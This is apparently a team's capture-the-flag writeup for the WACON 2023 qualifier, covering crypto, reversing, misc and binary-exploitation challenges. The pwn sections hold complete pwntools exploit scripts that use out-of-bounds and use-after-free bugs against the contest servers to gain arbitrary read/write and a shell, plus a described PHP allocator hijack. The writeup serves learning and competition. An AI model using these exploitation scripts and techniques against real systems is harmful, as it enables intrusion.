WACON 2023 Prequal Writeup
Crypto/PSS
Since the master seed is 5-byte long, and we are given \(2^{17}\) instances/merkle trees, we can randomly bruteforce the master seed and see whether the tree generated matches any of the merkle trees we have. On expectation, we only need to search \(2^{23}\) such seeds to find a match. After that, we can construct the whole tree and recover the secret.
Crypto/Cry
Given \(n = r\cdot p(p-1)\), we can find another multiple of \(p\) by calculating \(2^n - 1 \bmod{n}\), and by taking the gcd of two multiples, we can recover \(p\). The trick works because the multiplicative group \(Z_p^*\) has order \(p-1\).
Similarly, now we are given \(n = p(p^2+1)r\). If we take a random element \(e\) in the group \(\text{PolynomialRing}(\mathbb{Z}_n)) / f(x)\) for some irreducible polynomial \(f\) with degree 4, \(e^n\) will have order \(p^2-1\) under \(\mathbb{Z}_p\) (instead of \(\mathbb{Z}_n\)). Notice that the elements with order \(p^2-1\) all have the form \(a+bi\), where \(i=\sqrt{-1}\) (because \(p = 4k+3\)). Therefore, if we choose \(f(x) = g(x)^2 + 1\) for some quadratic \(g\), all the elements with order \(p-1\) have the form \(a+b\cdot g(x)\), and the \(x^3\) coefficient is 0. In other words, the coefficient of \(x^3\) in \(e^n\) should be a multiple of \(p\), and by taking gcd with \(n\) we can recover \(p\).
Rev/Baby Artist
We have what appears to be a simple piet program in the top left. Using repiet, we can achieve a direct decompilation into Python.
Additionally, we can use optimization flag to make the output much cleaner.
This produces very clean output.
Here is the main logic snippet:
stack.append(125)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(63)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(121)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a = pop()
a is not None and psh(a,a)
stack.append(114)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a,b = pop2()
a is not None and psh(b-a)
stack.append(2)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(95)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(52)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(78)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a = pop()
a is not None and psh(a,a)
stack.append(11)
a,b = pop2()
a is not None and a!=0 and psh(b%a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(11)
a,b = pop2()
a is not None and a!=0 and psh(b//a)
stack.append(10)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(52)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(119)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a = pop()
a is not None and psh(a,a)
stack.append(95)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(33)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(3)
a,b = pop2()
a is not None and psh(b-a)
stack.append(100)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(110)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(49)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(87)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(52)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(114)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(68)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(95)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(110)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(85)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(102)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(123)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a = pop()
a is not None and psh(a,a)
stack.append(3)
a,b = pop2()
a is not None and a!=0 and psh(b//a)
stack.append(17)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
a,b = pop2()
a is not None and psh(b-a)
stack.append(1)
a,b = pop2()
a is not None and psh(b+a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(48)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(50)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(78)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(79)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(67)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(65)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a,b = pop2()
a is not None and psh(b*a)
stack.append(87)
a,b = pop2()
a is not None and psh(b-a)
a = pop()
a is not None and psh(int(not a))
a = pop()
It's very long but not complicated, we can see that most checks are just comparing with the direct ASCII values.
Here are a few special check examples:
- next char is 2 less in ASCII value than previous
- char % 11 == 0 and char // 11 == 10
- char is same as previous char
- char // 3 == 17
Other than those, you can just take direct ASCII values and build the flag backwards.
Final flag:
Rev/Adult Artist
Patcher:
Solver:
from pwn import *
from capstone import *
sbox = [101, 242, 170, 79, 1, 137, 147, 58, 194, 8, 28, 195, 59, 63, 123, 111, 56, 254, 219, 122, 144, 127, 95, 81, 75, 61, 23, 104, 128, 155, 41, 196, 136, 121, 245, 202, 40, 15, 6, 42, 112, 68, 103, 47, 35, 139, 185, 116, 120, 11, 114, 106, 141, 55, 30, 253, 175, 74, 80, 86, 161, 32, 255, 235, 94, 163, 183, 34, 248, 221, 110, 109, 89, 198, 209, 54, 226, 25, 93, 169, 229, 20, 131, 83, 208, 156, 187, 135, 52, 88, 165, 38, 143, 164, 172, 186, 213, 118, 124, 115, 26, 87, 78, 159, 36, 181, 151, 10, 39, 92, 227, 191, 91, 19, 126, 67, 4, 50, 31, 0, 22, 2, 97, 162, 217, 173, 145, 193, 212, 239, 51, 133, 224, 49, 243, 71, 24, 236, 244, 72, 180, 69, 60, 134, 228, 158, 119, 18, 203, 108, 132, 190, 201, 167, 53, 168, 152, 238, 218, 250, 231, 160, 199, 189, 76, 140, 252, 174, 12, 249, 65, 57, 77, 105, 146, 197, 37, 82, 7, 66, 206, 44, 13, 215, 99, 176, 210, 43, 150, 148, 184, 166, 64, 142, 17, 188, 96, 154, 130, 223, 33, 216, 125, 90, 45, 113, 27, 70, 29, 232, 205, 233, 84, 237, 129, 207, 222, 138, 85, 220, 21, 102, 178, 192, 234, 62, 149, 16, 214, 107, 5, 177, 3, 200, 153, 157, 179, 230, 171, 251, 246, 225, 204, 241, 73, 9, 211, 247, 182, 14, 100, 240, 98, 117, 46, 48]
inv_sbox = [sbox.index(i) for i in range(256)]
finales = [1294921289, 3556600223, 1209339435, 1851550862, 3576661803, 935542824, 890675233, 1466443951, 2899239426, 2509770635, 3811890241, 4189575110, 3407890776, 151811947, 2021481915, 2224322179, 937543787, 2656386893, 2430690788, 937170305, 1595242648, 1313689251, 3449380580, 3981305360, 1805462865, 1000700706, 1394137676, 3037656969, 2213052412, 621078233, 44681021, 3125866984, 2270629699, 81231002, 732808204, 1962199736, 500787935, 3021495503, 343658160, 2011362800, 3051343062, 2649999813, 479102860, 1517017809, 2535887555, 2767036793, 864456536, 3221496586, 1236923337, 2535989912, 750098417, 2125817032, 3181958189, 1206391945, 911571295, 3648355814, 1356734492, 3557631056, 2749801664, 1533604227, 1218930141, 3796472889, 2869013044, 2909236950, 770707252, 1775872345, 1668747571, 164579730, 3194457712, 309450627, 725278243, 2120079896, 225892262, 2486260442, 2483139025, 3603672921, 4265882258, 3540118190, 2883355033, 1214344214, 708738895, 1637597950, 4066117530, 843823022, 1243164200, 1354787218, 1808234221, 2545499367, 2573345003, 423063696, 4155282283, 1510805520, 3005416590, 3521755546, 1409845455, 487735804, 3385604609, 1807103354, 2376904603, 2343410443]
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def xor(a, b):
return (a ^ b) & 0xffffffff
def nott(a):
return (~a & 0xffffffff)
def sub(a, b):
return (a - b) & 0xffffffff
def add(a, b):
return (a + b) & 0xffffffff
def bswap(a):
a3 = (a >> 24) & 0xff
a2 = (a >> 16) & 0xff
a1 = (a >> 8) & 0xff
a0 = (a >> 0) & 0xff
return (a0 << 24) | (a1 << 16) | (a2 << 8) | a3
msg = b""
f = open("./masterpiece_patched", "rb").read()
blocks = []
start = 0x1062
for _ in range(101):
jmptableptr = int.from_bytes(f[start:start+4], "little")
print(hex(jmptableptr))
start += 4
blocks.append(jmptableptr - 0x8048000)
for ind, s in enumerate(blocks[:-1]):
CODE = f[s:blocks[ind+1]]
ddd = []
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
ddd.append((i.address, i.mnemonic, i.op_str))
ddd = ddd[::-1]
fff = finales[ind]
al = 0
ah = 0
cl = 0
i = 0
while (i < len(ddd)):
opp = ddd[i][1]
sss = ddd[i][2]
if opp == 'nop' or opp == 'jmp':
i += 1
continue
if opp == 'bswap':
fff = bswap(fff)
elif opp == 'add':
vvv = int(sss[sss.index(',') + 1:], 16)
fff = sub(fff, vvv)
elif opp == 'sub':
vvv = int(sss[sss.index(',') + 1:], 16)
fff = add(fff, vvv)
elif opp == 'ror':
vvv = int(sss[sss.index(',') + 1:], 16)
fff = rol(fff, vvv, 32)
elif opp == 'rol':
vvv = int(sss[sss.index(',') + 1:], 16)
fff = ror(fff, vvv, 32)
elif opp == 'xor':
vvv = int(sss[sss.index(',') + 1:], 16)
fff = xor(fff, vvv)
elif opp == 'not':
fff = nott(fff)
elif opp == 'inc':
fff = fff - 1
elif opp == 'dec':
fff = fff + 1
elif opp == 'mov':
if sss.startswith('cl, al'):
fff = (fff >> 8 << 8) | cl
elif sss.startswith('cl, ah'):
fff = (fff ^ (ah << 8)) | (cl << 8)
elif sss.startswith('al, byte'):
al = fff & 0xff
cl = inv_sbox[al]
elif sss.startswith('ah, byte'):
ah = (fff >> 8) & 0xff
cl = inv_sbox[ah]
else:
print(ddd[i])
break
i += 1
msg += int.to_bytes(fff, 4, "little")
print(msg)
Rev/Terrible Flavor
The program first prints a greeting and asks for your input, it then splits the string using _
as delimiter and checks that there are three parts. Then it creates some classes, first a 4-tuple of 0,0,0,3
, which represents a position (The first two elements are x/y coordinates). Then we put that into a class constructor. The constructor takes a size, a global vector (which is initialized to be more 4-tuples in another function), and the constructor also takes the position we just created.
It will then create the class by moving the position into the class, and creating a matrix of size by size cells (I'd guess the type is something like std::vector<std::vector<Cell>>
where cells are the aforementioned 4-tuples of x,y,extra_info,type, but more about that later). We iterate over the global vector we gave it, and store the elements where they belong (so we extract the x,y coordinates and then put the element into the matrix at position (x,y)).
We do this for a total of three times, with bigger sizes and different starting positions, which matches the amount of parts our input needs to have. Then we call some transformation function which takes our input, and iterates over it, two chars at a time, it subtracts 0x30 from both chars, then checks that both are in range between (and including) zero, and (excluding) the size for the class instance. Then we push the 4-tuple [first_char-0x30, second_char-0x30, 0, 3]
into a new vector which, after iterating over all chars in the current part, is returned.
Finally in main we call a check function that is part of the puzzle class. At first we assumed it was some sort of maze where the global arrays are walls, but that after looking at the arrays carefully we determined that there were not enough walls (or not enough walkable tiles if you looked at them that way). So we had to understand the check function.
It first allocas a size by size array visited
, where we mark all positions we step on, and if we ever step on something twice we stop. Then we have a loop which takes the current position and the next element in our transformed input and checks that we are either in the same column or in the same row, if not we fail immediatly. After that we calculate the x and y offsets to single step from the current position to the target position (coming from our input).
If we step onto a field which has a 1 in last position we check that our final target is that position (so we can't walk straight over that cell). We also subtract the distance between start and end of the current walk from the third element of the cell. If we step onto a cell which has a 2 in the last position we add it to a vector which will be handled later. We also check that this cell is not the final position (so we need to step straight through it and can't stop on it)
After we finished stepping we first do the same check for cell 1 for the position we started from and subtract the whole distance we just walked if it was a 1 cell. Then we iterate over the list of 2-cells we encountered. For all of them we also subtract the whole distance we just walked from the third element of the cell.
And that's basically the whole function done, the code inside the loop is duplicated after it to close the loop by going to the start position instead of any position in the input vector.
So we determined it is some form of puzzle where we have to draw a loop from the starting position, turning at the 1-cells and walking straight through the 2-cells. And we need those to have a certain number of loop segments going in or out of them.
Here are the puzzle constants:
a = [[0,0,6,1],[2,0,4,1],[4,1,5,1],[2,2,2,2],[3,3,3,1],[5,3,5,2],[1,5,3,2]]
b = [[5,0,5,1],[7,0,3,1],[1,1,2,1],[2,1,3,1],[1,2,2,1],[2,2,3,1],[0,3,2,1],[3,3,3,1],[6,3,3,1],[7,3,2,1],[1,4,2,2],[0,5,4,1],[3,5,5,1],[6,5,3,2],[3,6,2,1],[5,6,2,1],[7,6,2,1],[6,7,2,1]]
c = [[0,0,4,1],[2,0,5,1],[5,0,5,1],[8,0,4,2],[10,0,7,1],[7,1,3,1],[4,2,2,1],[6,2,4,2],[1,3,2,2],[2,4,3,1],[8,4,3,2],[0,5,2,1],[2,5,2,1],[4,5,7,1],[0,6,2,1],[8,6,3,1],[1,7,2,1],[3,7,2,1],[4,7,2,1],[2,8,2,2],[7,8,2,1],[9,8,4,2],[0,9,2,2],[6,9,2,2],[9,9,6,1],[5,10,4,1]]
The first puzzle starts at (0,0) with size 6, the second at (1,0) with size 8, and the third at (0,0) but with size 11. The cells are [x,y,loop_segment_size,type]
. After some googling we figured out that Shingoki matches this description pretty well; luckily there was even a solver on github available, sadly it didn't work straight away so some patching was needed. After removing all the online stuff and hardcoding the puzzles it gave the solutions. Now we just have to encode the path from start to end using the points where we turn.
The first path I tried usually worked, I'm not sure if there is some way to prevent the reverse path from working. Also I did not see any check that we have to turn on any position, so there might be even some paths that do not turn on the 1-cells but walk straight, but make a quick stop on the cell, like 01 02 03
. But we figured that it if the Shingoki solver find a solution then we should probably take that one. Our final solution which solves the Shingoki using the turn rule was 1011212050554541313212142423333505_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303
, but as I mentioned we can also construct one which does not always turn, here an example (only the first solution has changed):
2040505545434111123233131434350504_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303
Both display the You win message, I didn't check if the flag checker actually allows that because the first flag I tried was correct.
Misc/Let me win
We first get the list of participated teams:
Gives
['zer0cats', 'CheckTheSign', 'C4T BuT M3W', 'idk', 'kalmaronion', 'HikeBoy', 'justCatchTheFish', 'r3kabunny', 'SNSD', 'organi-cats', 'thequackerscrew', '1daysober', 'More Fried Elite Duck', 'Black Butterflies', 'Project Sakura', 'QQQ', 'ShyKOR', 'Goose N', 'MINUS', 'Balsamic Vinegar', 'Never Stop Exploding', 'DiceDang', 'The Round Network Society', '796e74', 'The Moose', 'Upper Guesser', 'HackingForBeer', 'Waffle Bacon', 'ChordBlue', 'mhackaroni', 'Watermelon Paddler', 'Perfect Pink', 'Katzekatbin', 'The Quack', 'Shellfish', 'Dragon Sushi', 'Emu Eggs Benny', 'YGY', 'OsakaWesterns', 'Polygroot', 'Dragon Vector', 'LCDC', '127', 'Eat, Sleep, Misc, Repeat', 'Nu0L', 'o0ps', 'Bubble Tea Deliverers', 'Dashwhackers', 'A*C*E', 'CloseToAll', 'Deficit', 'squareimentary', 'daejeonelectricdecomposer', 'none2root', 'Inverselab', 'Ever Stop Exploiting', 'copyn', 'SunBugs', 'FBISEC', 'defined', 'NEWSEC']
Now we just need to control challenge points to make leaderboard match the expected output. z3
can solve it easily.
teams = ['zer0cats', ... , 'defined', 'NEWSEC']
import requests
def parse(text):
res = []
for i in range(len(text) - 5):
if text[i:i+5] == 'Chal-':
res.append(int(text[i+5:i+7]))
return res
solves = {}
for team in teams:
r = requests.get(f'http://175.118.127.123:5000/team/{team}')
solves[team] = parse(r.text)
print(solves)
requested = ['Upper Guesser', 'The Round Network Society', 'Dashwhackers', 'idk', 'mhackaroni', 'Waffle Bacon', 'NEWSEC', 'Balsamic Vinegar', 'HikeBoy', 'Perfect Pink', 'Never Stop Exploding', 'CloseToAll', '127', 'organi-cats', 'HackingForBeer', 'thequackerscrew', '1daysober', 'Project Sakura', 'More Fried Elite Duck', 'The Moose', 'The Quack', 'Emu Eggs Benny', 'kalmaronion', 'Deficit', 'Goose N', 'Bubble Tea Deliverers', 'justCatchTheFish', 'OsakaWesterns', 'Nu0L', 'Eat, Sleep, Misc, Repeat', 'none2root', 'Shellfish', 'Polygroot', 'SNSD', 'C4T BuT M3W', 'Inverselab', 'r3kabunny', 'Watermelon Paddler', 'YGY', 'FBISEC', 'DiceDang', 'LCDC', 'daejeonelectricdecomposer', 'Dragon Vector', 'copyn', 'SunBugs', 'ChordBlue', 'o0ps', 'zer0cats', 'Ever Stop Exploiting', 'QQQ', 'Katzekatbin', 'CheckTheSign', 'ShyKOR', 'Black Butterflies', 'Dragon Sushi', 'defined', '796e74', 'MINUS', 'A*C*E', 'squareimentary']
counts = {}
for team in teams:
for v in solves[team]:
if v not in counts:
counts[v] = 1
else:
counts[v] += 1
solves_refreshed = {}
for team in teams:
curr = []
for v in solves[team]:
curr.append(counts[v])
solves_refreshed[team] = curr
solves = solves_refreshed
'''
Goal: Give 61 numbers for scores for 1-61 solved challenges in descending order
Such that the final ranking is same as requested
'''
from z3 import *
s = Solver()
scores = [Int(f'score{i}') for i in range(61)]
for i in range(60):
s.add(scores[i] > scores[i+1])
s.add(scores[i] >= 1)
s.add(scores[i] < 1000000000)
s.add(scores[60] >= 1)
s.add(scores[60] < 1000000000)
team_total = {}
for team in teams:
team_total[team] = 0
for i in solves[team]:
team_total[team] += scores[i-1]
for i in range(len(requested) - 1):
s.add(team_total[requested[i]] > team_total[requested[i+1]])
while s.check() == sat:
m = s.model()
ans = [m.evaluate(scores[i]) for i in range(61)]
payload = {}
for i in range(1, 62):
payload[f'input{i}'] = str(ans[i-1])
print(payload)
r = requests.post('http://175.118.127.123:5000/check', data=payload)
print(r.text)
break
This gives the flag WACON{e0d1708636f669cd7596d6d81efcb1e117f}
.
Misc/mic check
http://58.225.56.196:5000/robots.txt
Brute flag character by character, page shows 200 OK
if character is correct. WACON2023{2060923e53fa205a48b2f9ad47d943c4}
Misc/ScavengerHunt
Misc/Web?
- There's node launch option that can restrict which files the process has read access to
- It reads in eval regex from a file
- So if you block that read but allow the read to the source code and to
flag.txt
you can get it to skip the eval regex and execute arbitrary code
Crypto/Push It To The Limit
- Realize challenge is somewhat similar to https://blog.maple3142.net/2023/06/12/seetf-2023-writeups/#shard
- Use flatter, tune parameters, split solve script into 20 chunks and run them multi-threaded to speedup:
- Spin 20 VMs

- Recover correct brute and get flag
Crypto/White arts
Easy part:
- Generator1 : Can be determined by whether the second half of what is entered is visible in the first half.
- Generator2 : 7 bytes from the front of each output matches the input of "˶x00"*16, "˶x01"*7+"˶x01"+"˶x00"*8.
- Generator3 : The inverse is just the reverse of the input order, so if you input "A"*8+"B"*8 and "B"*8+"A"*8 with and without inverse, the answer strings of half match.
Hard part:
- Generator4 : The input with and without inverse will be like an inverse function, so just check
\("\x00"*8 = f^{-1}(f("\x00"*8))\).
- Generator5 : Basically xor of all random permutations will be zero.
Pwn/Heaphp
In zif_add_note
, the second argument is a string which can contain null byte. So when it allocates space for note content with strlen(second_arg)
, the size can be smaller than the actual size __n
of the string which is eventually copied into with memcpy()
.
The custom php allocator works in a very simple singly-linked list, allocation is predictable and contiguous. Using out-of-bound write to modify the length and the pointer of note to achieve arbitrary read with zif_view_note
and arbitrary write with zif_edit_note
.
Leak heap pointer, then php pointer on the heap, then find mm_heap
on php bss. After that corrupt mm_heap
structure with arbitrary write. Modify mm_heap->use_custom heap
at offset 0x0 to non-zero with command for system and modify _free
of custom heap at offset 0x170 to system.
Finally trigger the custom _free
by deleting notes eventually calling _efree
Pwn/real sorry (revenge)
My teammate dumped the OCaml byte code and converted it to js with js_of_ocaml
to produce this:
After that looking into libstorage.so
, we found the out-of-bound bugs with set_memory
and get_memory
. Memory is around 0x400 size large and there is no bound check.
We also figure out we can read arbitrary file with opcode 15. So we can get the leak by reading proc/self/maps
.
To exploit this, we first notice there is a large unsorted bin behind OCaml function table. First using arbitrary file read to get leak, then use out-of-bound write to corrupt unsorted bin size to include the Ocaml function table region. There are 3 places we need to corrupt: unsorted bin size, previous bin size, and prev_in_use of next chunk.
We can malloc a large chunk with file name input. So after getting the leak and corrupting unsorted bin, we can input a large file name to trigger the malloc, and write into OCaml function table, changing it to oneshot
.
The exploit takes a few times to succeed.
from subprocess import run
from pwn import *
p = remote("58.229.185.61", 10001)
payload = b"\x00\x00\x00" + b"\x0f\x00\x00"*3
def set_register(x, y):
return p8(0) + p8(x) + p8(y)
def set_reg_reg(x, y):
return p8(16) + p8(x) + p8(y)
def add_register(x, y):
return p8(3) + p8(x) + p8(y)
def mul_register(x, y):
return p8(7) + p8(x) + p8(y)
def set_mem_regs(x, y):
return p8(14) + p8(x) + p8(y)
def sub_register(x, y):
return p8(5) + p8(x) + p8(y)
payload += set_register(1, 2 * 16)
payload += set_register(2, 56 * 2)
payload += set_register(3, 71 * 2)
payload += set_register(4, 4 * 2)
payload += set_register(5, 2 * 4)
payload += mul_register(1, 2)
payload += mul_register(0, 3)
payload += mul_register(0, 5)
payload += add_register(0, 4)
payload += set_reg_reg(6, 0)
payload += set_register(1, 1 * 16)
payload += set_register(2, 44 * 2)
payload += set_register(3, 134)
payload += set_register(4, 4 * 2)
payload += set_register(5, 2 * 4)
payload += set_register(8, 2 * 2)
payload += mul_register(1, 2)
payload += mul_register(0, 3)
payload += mul_register(0, 5)
payload += sub_register(0, 4)
payload += add_register(0, 8)
payload += add_register(0, 8)
payload += add_register(0, 8)
payload += set_mem_regs(0, 6)
payload += set_register(1, 3 * 8)
payload += set_register(2, 65 * 2)
payload += set_register(3, 70 * 2)
payload += set_register(4, 0x1b * 2)
payload += set_register(5, 2 * 4)
payload += set_register(8, 2 * 2)
payload += mul_register(1, 2)
payload += mul_register(0, 3)
payload += mul_register(0, 5)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += set_mem_regs(0, 6)
payload += set_register(1, 3 * 8)
payload += set_register(2, 65 * 2)
payload += set_register(3, 70 * 2)
payload += set_register(4, 0x1c * 2)
payload += set_register(5, 2 * 4)
payload += set_register(8, 2 * 2)
payload += mul_register(1, 2)
payload += mul_register(0, 3)
payload += mul_register(0, 5)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += add_register(0, 4)
payload += set_mem_regs(0, 6)
payload += b"\x00\x00\x00" + b"\x0f\x00\x00"
p.send(payload)
p.sendlineafter("File name: \n", b"/proc/self/maps")
p.recvuntil(b"libstorage.so\n")
leak = int(p.recvuntil(b"-")[:-1], 16) - 0x6000
log.info("LIB STORAGE: " + hex(leak))
p.sendlineafter("File name: \n", b"A"*0x300)
p.sendlineafter("File name: \n", b"A"*0x380)
p.sendlineafter("File name: \n", b"\0"*0x6f0 + p64(0x700) + p64(0x1810) + b"A"*0x418 + p64(leak + 0x9fa0))
p.interactive()
Pwn/dumb_contract
A VM challenge which we can load_code
and execute_code
with gas limit.
The opcode list we reversed and used was this.
The bug lies in how gas_meter_mark
was used, if gas runs out the programs throw exception and returns, this can be detrimental to program usual execution.
We abused UaF in reallocData
, if we free and then running out of gas, that entry in dataMap
won't be removed.
To exploit, we call a function twice with opcode 0x81, the first time to create UaF, and the second time to exploit the UaF.
We makes the UaF pointer a large chunk around 0x6000 byte, and then we can spraydataMap
entry with opcode 0x60. dataMap
entry has data pointer (first) and data size (second). And we can access the data region with opcode 0x61 (write to data region), and opcode 0x62 (read from data region).
So we can read and write from the UaF pointer region, and modify the pointer and size of other dataMap
entry to get arbitrary read and arbitrary write.
We used this to find environ
and write to stack directly.
from pwn import *
def load_code(code):
r.sendlineafter("Exit\n", b"1")
r.sendlineafter("hex: ", code.hex())
r.recvuntil("address: ")
address = int(r.recvline()[:-1], 16)
return address
def execute_code(to_addr, gas_limit, input_data):
r.sendlineafter("Exit\n", b"2")
r.sendlineafter("hex: ", p64(to_addr).hex().encode() + p64(gas_limit).hex().encode() + input_data)
def execute_calc(to_addr, gas_limit, input_data):
r.sendlineafter("Exit\n", b"4")
r.sendlineafter("hex: ", p64(to_addr).hex().encode() + p64(gas_limit).hex().encode() + input_data)
def push_const(x):
return p8(0x30) + p64(x)
def pop_2_out():
return p8(0x83)
def push_from_mem(where):
return push_const(where) + p8(0x41)
def read_data_map(seed, off):
return push_const(off) + push_const(seed) + p8(0x62)
def write_data_map(seed, off, val):
return push_const(val) + push_const(off) + push_const(seed) + p8(0x61)
def write_data_map_1(seed, off):
return push_const(off) + push_const(seed) + p8(0x61)
def realloc(seed, size):
return push_const(size) + push_const(seed) + p8(0x60)
def push_input_2_stack(offset):
return p8(0x10) + p64(offset)
def if_not_zero(offset):
return p8(0x52) + p64(offset)
def set_mem(offset, val):
return push_const(val) + push_const(offset) + p8(0x40)
def set_mem_1(offset):
return push_const(offset) + p8(0x40)
def sub():
return p8(0x23)
def add():
return p8(0x21)
def dup_back():
return p8(0x31)
def call(addr, input_addr, input_size, output_addr, gas_limit):
return push_const(gas_limit) + push_const(output_addr) + push_const(input_size) + push_const(input_addr) + push_const(addr) + p8(0x81)
r = remote("58.229.185.49", 13337)
addr = load_code(realloc(0, 0x30))
execute_code(addr, 0x100, b"A"*8)
p = push_input_2_stack(0)
p += if_not_zero(9 + 9 + (9 + 9 + 1)*2)
p += realloc(1, 0xe00 - 0x100)
p += realloc(1, 0)
p += read_data_map(1, 0)
p += read_data_map(1, 3)
p += write_data_map(1, 10, 0x6873)
p += realloc(2, 0x8c )
p += realloc(3, 0x20)
p += write_data_map(1, 10, 0x6873)
p += set_mem_1(0)
p += set_mem_1(1)
p += push_const(0x6df0)
p += push_from_mem(1)
p += add()
p += write_data_map_1(1, 5)
p += read_data_map(2, 0)
p += set_mem_1(2)
p += write_data_map(1, 10, 0x6873)
p += push_const(0xea0 + 7 * 8)
p += push_from_mem(2)
p += sub()
p += write_data_map_1(1, 5)
p += push_const(0x1f002b - 0x360)
p += push_from_mem(1)
p += sub()
p += write_data_map_1(2, 7)
p += push_const(0x60)
p += push_from_mem(0)
p += add()
p += write_data_map_1(2, 8)
p += push_const(0x1c96b0)
p += push_from_mem(1)
p += sub()
p += write_data_map_1(2, 10)
p += p8(0x20)
addr1 = load_code(p)
addr2 = load_code(call(addr1, 0, 1, 0, 0x8339) + set_mem(0, 1) + call(addr1, 0, 1, 0, 0xffffffff) + p8(0x20))
execute_calc(addr2, 0x100, b"A"*8)
r.interactive()
Pwn/flash-memory
Since the binary is stripped i will be prodiving ghidra screenshots for clarity.

First thing main does is check if the global variable _initialized
is set to 0. If it's not it parses /proc/self/maps
to find all the mapped .data
sections (characterized by being writeable and not being the stack or the heap) and then crc32's their addresses, creates a new mapping using mmap with the base address being the crc32 result shifted left by 12 (thus making it page-aligned), copies the data over, and then prints out the new maps address.
It also dumps a bunch of random gibberish into the binary's .data
, but that's irrelevant to the exploit.

Afterwards it prints out a menu in the form of
The load memory option copies the data from the copies back into their original place.
Allocate memory asks for a key and length, and then uses the crc32 result to create a new map in a similar way to how the copy mappings were created.
